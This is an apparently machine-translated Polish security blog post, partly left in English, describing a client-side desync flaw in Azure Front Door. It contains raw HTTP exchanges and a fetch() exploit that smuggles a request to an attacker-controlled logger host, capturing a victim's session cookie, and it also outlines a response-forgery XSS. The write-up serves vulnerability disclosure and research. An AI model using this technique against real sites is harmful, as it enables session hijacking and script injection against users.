W tym artykule zagłębię się w krótką podróż, która rozpoczęła się po wykryciu tego dziwnego zachowania i ostatecznie doprowadziła do wykrycia luki w zabezpieczeniach desynchronizacji po stronie klienta w jednym z rozwiązań CDN Microsoft Azure, znanym jako Front Door.

Odkrycie 

Wszystko zaczęło się, gdy wysłałem następującą prośbę do http://redacted.com :

POST / HTTP/1.1
Host: redacted.com
[...]
Content-Length: 34

GET / HTTP/1.1
Host: redacted.com

Skąd taka dziwna prośba? Po prostu bawiłem się w Burp po przeczytaniu fantastycznych badań Jamesa @Albinowaxa Kettle'a na temat ataków desynchronizujących za pomocą przeglądarki .

A serwer odpowiedział:

HTTP/1.1 307 Temporary Redirect
Content-Type: text/html
Content-Length: 0
Connection: keep-alive
Location: https://redacted.com/
x-azure-ref: 20230522T201945Z-...
X-Cache: CONFIG_NOCACHE

HTTP/1.1 307 Temporary Redirect
Content-Type: text/html
Content-Length: 0
Connection: keep-alive
Location: https://redacted.com/
x-azure-ref: 20230522T201945Z-...
X-Cache: CONFIG_NOCACHE

Na pierwszy rzut oka wydaje się, że nie ma w tym nic niezwykłego. Serwer otrzymał dwa żądania w tym samym połączeniu (podtrzymującym aktywność) i dwukrotnie odpowiedział przekierowaniem 307 z adresu http://na https://.

Ale… Czekaj… W rzeczywistości właśnie wysłałem jedno żądanie POST z treścią! Rozmiar ciała został określony przez Content-Lengthnagłówek.

Otrzymałem jednak dwie odpowiedzi. Oznacza to, że serwer szczęśliwie zignorował nagłówek Content-Lengthi zinterpretował moje żądanie jako dwa oddzielne żądania.

Wygląda to na idealnego kandydata do ataku Client-Side Desync opisanego we wspomnianych badaniach.

Cytuję @Albinowax:

Klasyczne ataki polegające na desynchronizacji lub przemycie żądań polegają na celowo zniekształconych żądaniach, których zwykłe przeglądarki po prostu nie wysyłają. Ogranicza to te ataki do stron internetowych, które wykorzystują architekturę front-end/back-end. Jednak, jak dowiedzieliśmy się z analizy ataków CL.0, możliwe jest spowodowanie desynchronizacji przy użyciu w pełni zgodnych z przeglądarką żądań HTTP/1.1. Nie tylko otwiera to nowe możliwości przemytu żądań po stronie serwera, ale także umożliwia zupełnie nową klasę zagrożeń – ataki desynchronizujące po stronie klienta.

Desynchronizacja po stronie klienta (CSD) to atak, który powoduje, że przeglądarka internetowa ofiary desynchronizuje własne połączenie z podatną na ataki witryną internetową. Można to porównać do zwykłych ataków przemycania żądań, które desynchronizują połączenie między serwerem front-end i back-end.

Po przeprowadzeniu bardziej dogłębnej analizy odkryłem, że ten problem nie jest specyficzny dla rozwiązania klienta, ale raczej ogólny błąd w usłudze używanej przez klienta o nazwie Azure Front Door .

Drzwi wejściowe 

Usługa Azure Front Door to globalna, skalowalna sieć dostarczania treści (CDN) i inteligentna platforma dostarczania aplikacji, która zapewnia bezpieczne i wydajne kierowanie ruchu internetowego do usług zaplecza.

Przyjrzyjmy się niektórym konfigurowalnym opcjom.

Jedną z jego funkcji (domyślnie włączoną) jest przekierowanie całego ruchu HTTP na HTTPS.Frontdoor przekierowuje HTTP na HTTPS

Technicznie odbywa się to poprzez przekierowanie przeglądarki na https://adres za pomocą kodu stanu 307:Przekierowania Front Door z 307

Serwer obsługuje połączenia utrzymujące aktywność:Front Door obsługuje połączenia utrzymujące aktywność

I przekierowuje również żądania POST:Front Door przekierowuje żądania POST

Ale problem polega na tym, że całkowicie ignoruje Content-Lengthnagłówek:Front Door ignoruje Content-Lengthto, co wygląda na dwa żądania, jest w rzeczywistości jednym żądaniem wysłanym przez przeglądarkę internetową, w którym żółte pole zawiera dane dla żądania POST ( Content-Lengthnagłówek wskazuje na koniec danych).

Ale serwer Front Door ignoruje Content-Lengthnagłówek i traktuje go jako dwa oddzielne żądania.

Inną interesującą cechą Front Door (oczywiście nie jest to błąd) jest to, że wszystkie serwery klientów obsługiwane przez usługę Front Door są dostępne pod jednym adresem IP i są również dostępne w jednym utrzymywanym połączeniu (jest to usługa CDN, prawda?) . Jest to więc całkowicie poprawny zestaw żądań wysyłanych w jednym połączeniu TCP:

Front Door udostępnia połączenia

UWAGA 1: azure-victim.jeti.pw i azure-attacker.jeti.pw to dwa oddzielne serwery WWW dwóch oddzielnych klientów (użyłem niestandardowych domen dla lepszej widoczności).

UWAGA 2: serwer azure-attacker.jeti.pw nie ma włączonych automatycznych przekierowań HTTPS, dlatego nie odpowiada przekierowaniem (może to mieć znaczenie dla różnych technik eksploatacyjnych).

Wykorzystaj 

Atak CSD rozpoczyna się od odwiedzenia przez ofiarę strony internetowej atakującego, po czym jej przeglądarka wysyła dwa żądania między domenami do podatnej witryny. Pierwsze żądanie jest tworzone w celu desynchronizacji połączenia przeglądarki i wywołania szkodliwego żądania/odpowiedzi przez drugie żądanie.

Istnieje wiele sposobów, w jaki osoba atakująca może wykorzystać ten problem z desynchronizacją. Skupię się na dwóch możliwych sposobach.

Kradzież żądań 

Wyobraźmy sobie, że po wizycie ofiary witryna atakującego wysyła żądanie (np. za pomocą Java Script fetch API):

fetch('http://azure-victim.jeti.pw/x', {
method: 'POST',
  body: "POST /logger HTTP/1.1\r\nHost: azure-attacker.jeti.pw\r\nContent-Length: 200\r\n\r\n",
  mode: 'no-cors',
  redirect: 'follow',
  credentials: 'include'
})

Niekompletne żądanie za pomocą funkcji fetch()

Usługa Front Door traktuje to jako dwa osobne żądania, z których drugie jest żądaniem POST z dołączoną treścią (długość 200 bajtów).

UWAGA: pamiętaj, że azure-attacker.jeti.pw jest skonfigurowany tak, aby nie przekierowywał automatycznie, więc serwer sprawdza Content-Lengthw tym przypadku.

Ponieważ brakuje treści żądania, serwer będzie czekał na 200 bajtów danych, aby zakończyć żądanie. Wszystko, co musi zrobić atakujący, to przekierować użytkownika ofiary na stronę ofiary:

location = 'http://azure-victim.jeti.pw/'

Przeglądarka ofiary wyśle ​​kolejne żądanie GET (w większości przypadków przeglądarka ponownie użyje tego samego połączenia). Oba żądania będą wyglądać następująco:Kompletne żądanie FrontdoorSerwer otrzymał 200 bajtów danych i wysłał żądanie POST do http://azure-attacker.jeti.pw/logger z następującymi danymi :

GET / HTTP/1.1
Host: azure-victim.jeti.pw
Accept-Encoding: gzip, deflate
Accept: */*
Cookie: PHPSESSID=uhogavedhcduei7qlfh1eplf7c
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Connection: keep-alive
Cache-Control: max-age=0

I skutecznie atakujący ukradł plik cookie sesji ofiary.

„Uniwersalny” XSS poprzez fałszowanie odpowiedzi 

Another way of expoiting a CSD vulnerability is to forge responses to the victim’s requests.

Let’s have a look at following request sent by the browser when victim visits malicious website (sent via fetch API):Reakcja zatrucia za pomocą XSS

Front Door service again treats it as two separate requests and sends both to respective customer websites. And receives 2 separate responses.

But the victim’s browser sent only one request so it expects only one response (307 redirect in our case). Second part stays in the connection pool waiting for another request to match (because of the HTTP pipelining).

When attacker redirects a victim, browser makes another request.

Ale na szczęście dla atakującego przeglądarka ma już odpowiedź oczekującą w puli połączeń (w naszym przykładzie odpowiedź zawiera ładunek XSS, który zostanie uruchomiony w kontekście strony internetowej, na którą została przekierowana ofiara).

Ponieważ atakujący może przekierować ofiarę na dowolną witrynę obsługiwaną przez Front Door i sfałszować odpowiedź, myślę, że można to nazwać „uniwersalnym” XSS :)

https://blog.jeti.pw/posts/knocking-on-the-front-door/